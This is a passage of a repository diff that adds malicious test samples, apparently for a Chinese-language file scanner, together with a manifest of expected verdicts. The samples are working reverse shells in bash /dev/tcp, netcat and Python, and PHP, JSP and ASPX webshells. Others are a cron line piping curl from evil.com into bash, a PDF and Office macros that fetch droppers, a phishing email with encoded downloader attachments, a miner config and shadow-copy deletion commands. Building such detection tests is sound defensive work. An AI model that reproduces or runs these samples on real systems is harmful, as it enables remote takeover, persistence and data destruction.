"C7_Linux_ReverseShell_NC"
|
||||
],
|
||||
"description": "nc -e /bin/bash 反弹 Shell",
|
||||
"filename": "shell_nc.sh",
|
||||
"size": 42
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Oneliner"
|
||||
],
|
||||
"description": "PHP oneliner eval + echo 组合",
|
||||
"filename": "shell_php_eval.php",
|
||||
"size": 40
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated"
|
||||
],
|
||||
"description": "PHP base64 + assert 混淆",
|
||||
"filename": "shell_php_obf.php",
|
||||
"size": 61
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "Python pty + socket 反弹 Shell（当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python，命中 .py 可执行扩展名）",
|
||||
"filename": "shell_python.py",
|
||||
"size": 211
|
||||
},
|
||||
{
|
||||
"category": "LNK",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行（当前引擎未启用 LnkWithAutoExec，命中 .lnk 可执行扩展名）",
|
||||
"filename": "shortcut.lnk",
|
||||
"size": 143
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"AttachedTemplate"
|
||||
],
|
||||
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
|
||||
"filename": "template_backdoor.docx",
|
||||
"size": 2176
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"description": "VBA AutoOpen + Shell 执行（规则名带 Shell 后缀，比原预期 VBAAutoExec 更精确）",
|
||||
"filename": "vba_autoexec.bas",
|
||||
"size": 98
|
||||
},
|
||||
{
|
||||
"category": "WPS宏",
|
||||
"expected_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh（YARA 反弹 Shell 规则命中 + .js 扩展名；未命中宏规则 VBAAutoExecShell）",
|
||||
"filename": "wps_macro.js",
|
||||
"size": 142
|
||||
},
|
||||
{
|
||||
"category": "攻击载体",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"PathTraversal"
|
||||
],
|
||||
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
|
||||
"filename": "zip_traversal.zip",
|
||||
"size": 164
|
||||
}
|
||||
]
|
||||
}
|
||||
BIN
tests/samples/linux_malicious
Normal file
BIN
tests/samples/linux_malicious
Normal file
Binary file not shown.
2
tests/samples/lolbin.cmd
Normal file
2
tests/samples/lolbin.cmd
Normal file
@@ -0,0 +1,2 @@
|
||||
@echo off
|
||||
certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe
|
||||
BIN
tests/samples/macro_alert.docm
Normal file
BIN
tests/samples/macro_alert.docm
Normal file
Binary file not shown.
5
tests/samples/malicious.desktop
Normal file
5
tests/samples/malicious.desktop
Normal file
@@ -0,0 +1,5 @@
|
||||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Update
|
||||
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
|
||||
Terminal=false
|
||||
31
tests/samples/malicious.pdf
Normal file
31
tests/samples/malicious.pdf
Normal file
@@ -0,0 +1,31 @@
|
||||
%%PDF-1.4
|
||||
1 0 obj
|
||||
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<</Type/Pages/Kids [4 0 R]/Count 1>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
|
||||
endobj
|
||||
5 0 obj
|
||||
<</Length 0>>
|
||||
stream
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 6
|
||||
0000000000 65535 f
|
||||
0000000011 00000 n
|
||||
0000000120 00000 n
|
||||
0000000200 00000 n
|
||||
0000000320 00000 n
|
||||
0000000450 00000 n
|
||||
trailer
|
||||
<</Size 6/Root 1 0 R>>
|
||||
startxref
|
||||
500
|
||||
%%EOF
|
||||
6
tests/samples/miner_config.json
Normal file
6
tests/samples/miner_config.json
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
|
||||
"username": "4AsMe1",
|
||||
"donate-level": 5,
|
||||
"cpu-affinity": true
|
||||
}
|
||||
28
tests/samples/normal.pdf
Normal file
28
tests/samples/normal.pdf
Normal file
@@ -0,0 +1,28 @@
|
||||
%%PDF-1.4
|
||||
1 0 obj
|
||||
<</Type/Catalog/Pages 2 0 R>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<</Type/Pages/Kids [3 0 R]/Count 1>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<</Length 45>>
|
||||
stream
|
||||
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 5
|
||||
0000000000 65535 f
|
||||
0000000009 00000 n
|
||||
0000000058 00000 n
|
||||
0000000110 00000 n
|
||||
0000000200 00000 n
|
||||
trailer
|
||||
<</Size 5/Root 1 0 R>>
|
||||
startxref
|
||||
300
|
||||
%%EOF
|
||||
7
tests/samples/normal_deploy.sh
Normal file
7
tests/samples/normal_deploy.sh
Normal file
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
# 正常部署脚本，只有 git clone + npm install
|
||||
set -e
|
||||
git clone https://github.com/example/project.git
|
||||
cd project
|
||||
npm install
|
||||
npm start
|
||||
3
tests/samples/normal_readme.txt
Normal file
3
tests/samples/normal_readme.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
这是一个正常的文本文件。
|
||||
没有任何危险特征：没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
|
||||
仅供内部参考。
|
||||
BIN
tests/samples/normal_report.docx
Normal file
BIN
tests/samples/normal_report.docx
Normal file
Binary file not shown.
BIN
tests/samples/ole_dropper.doc
Normal file
BIN
tests/samples/ole_dropper.doc
Normal file
Binary file not shown.
BIN
tests/samples/pe_downloader.exe
Normal file
BIN
tests/samples/pe_downloader.exe
Normal file
Binary file not shown.
BIN
tests/samples/pe_injection.exe
Normal file
BIN
tests/samples/pe_injection.exe
Normal file
Binary file not shown.
2
tests/samples/persist_cron.sh
Normal file
2
tests/samples/persist_cron.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -
|
||||
47
tests/samples/phishing.eml
Normal file
47
tests/samples/phishing.eml
Normal file
@@ -0,0 +1,47 @@
|
||||
Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
|
||||
MIME-Version: 1.0
|
||||
From: IT Support <support@secure-update-login.com>
|
||||
To: me@internal.com
|
||||
Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: text/plain; charset="utf-8"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
|
||||
RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
|
||||
YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
|
||||
byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
|
||||
bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
|
||||
IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
|
||||
dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="invoice.vbs"
|
||||
|
||||
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
|
||||
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
|
||||
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="invoice.pdf.vbs"
|
||||
|
||||
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
|
||||
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
|
||||
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
|
||||
|
||||
--===============3818226399663948811==
|
||||
Content-Type: application/octet-stream
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment; filename="form.js"
|
||||
|
||||
PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
|
||||
|
||||
--===============3818226399663948811==--
|
||||
1
tests/samples/photo.jpg.php
Normal file
1
tests/samples/photo.jpg.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php eval($_POST["cmd"]); ?>
|
||||
5
tests/samples/ransom_dropper.exe.txt
Normal file
5
tests/samples/ransom_dropper.exe.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
CryptEncrypt CryptDeriveKey BCryptEncrypt
|
||||
vssadmin delete shadows /all /quiet
|
||||
wmic shadowcopy delete
|
||||
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
|
||||
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.
|
||||
BIN
tests/samples/sealed.docx
Normal file
BIN
tests/samples/sealed.docx
Normal file
Binary file not shown.
BIN
tests/samples/sealed.xlsx
Normal file
BIN
tests/samples/sealed.xlsx
Normal file
Binary file not shown.
6
tests/samples/shell_aspx.aspx
Normal file
6
tests/samples/shell_aspx.aspx
Normal file
@@ -0,0 +1,6 @@
|
||||
<%@ Page Language="C#" %>
|
||||
<script runat="server">
|
||||
void Page_Load(object sender, EventArgs e) {
|
||||
System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
|
||||
}
|
||||
</script>
|
||||
2
tests/samples/shell_bash_devtcp.sh
Normal file
2
tests/samples/shell_bash_devtcp.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
|
||||
9
tests/samples/shell_jsp_runtime.jsp
Normal file
9
tests/samples/shell_jsp_runtime.jsp
Normal file
@@ -0,0 +1,9 @@
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
Runtime rt = Runtime.getRuntime();
|
||||
Process p = rt.exec(request.getParameter("cmd"));
|
||||
InputStreamReader isr = new InputStreamReader(p.getInputStream());
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) out.println(line);
|
||||
%>
|
||||
2
tests/samples/shell_nc.sh
Normal file
2
tests/samples/shell_nc.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
nc 10.0.0.5 4444 -e /bin/bash
|
||||
1
tests/samples/shell_php_eval.php
Normal file
1
tests/samples/shell_php_eval.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php eval($_POST["cmd"]); echo "ok"; ?>
|
||||
1
tests/samples/shell_php_obf.php
Normal file
1
tests/samples/shell_php_obf.php
Normal file
@@ -0,0 +1 @@
|
||||
<?php $a = $_GET["a"]; $b = base64_decode($a); assert($b); ?>
|
||||
7
tests/samples/shell_python.py
Normal file
7
tests/samples/shell_python.py
Normal file
@@ -0,0 +1,7 @@
|
||||
import socket, pty, subprocess, os
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("10.0.0.5", 4444))
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
pty.spawn("/bin/bash")
|
||||
BIN
tests/samples/shortcut.lnk
Normal file
BIN
tests/samples/shortcut.lnk
Normal file
Binary file not shown.
BIN
tests/samples/template_backdoor.docx
Normal file
BIN
tests/samples/template_backdoor.docx
Normal file
Binary file not shown.
3
tests/samples/vba_autoexec.bas
Normal file
3
tests/samples/vba_autoexec.bas
Normal file
@@ -0,0 +1,3 @@
|
||||
Sub AutoOpen()
|
||||
Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat"
|
||||
End Sub
|
||||
4
tests/samples/wps_macro.js
Normal file
4
tests/samples/wps_macro.js
Normal file
@@ -0,0 +1,4 @@
|
||||
function AutoOpen() {
|
||||
var sh = new ActiveXObject("Wscript.Shell");
|
||||
sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
|
||||
}
|
||||
BIN
tests/samples/zip_traversal.zip
Normal file
BIN
tests/samples/zip_traversal.zip
Normal file
Binary file not shown.
Reference in New Issue
Block a user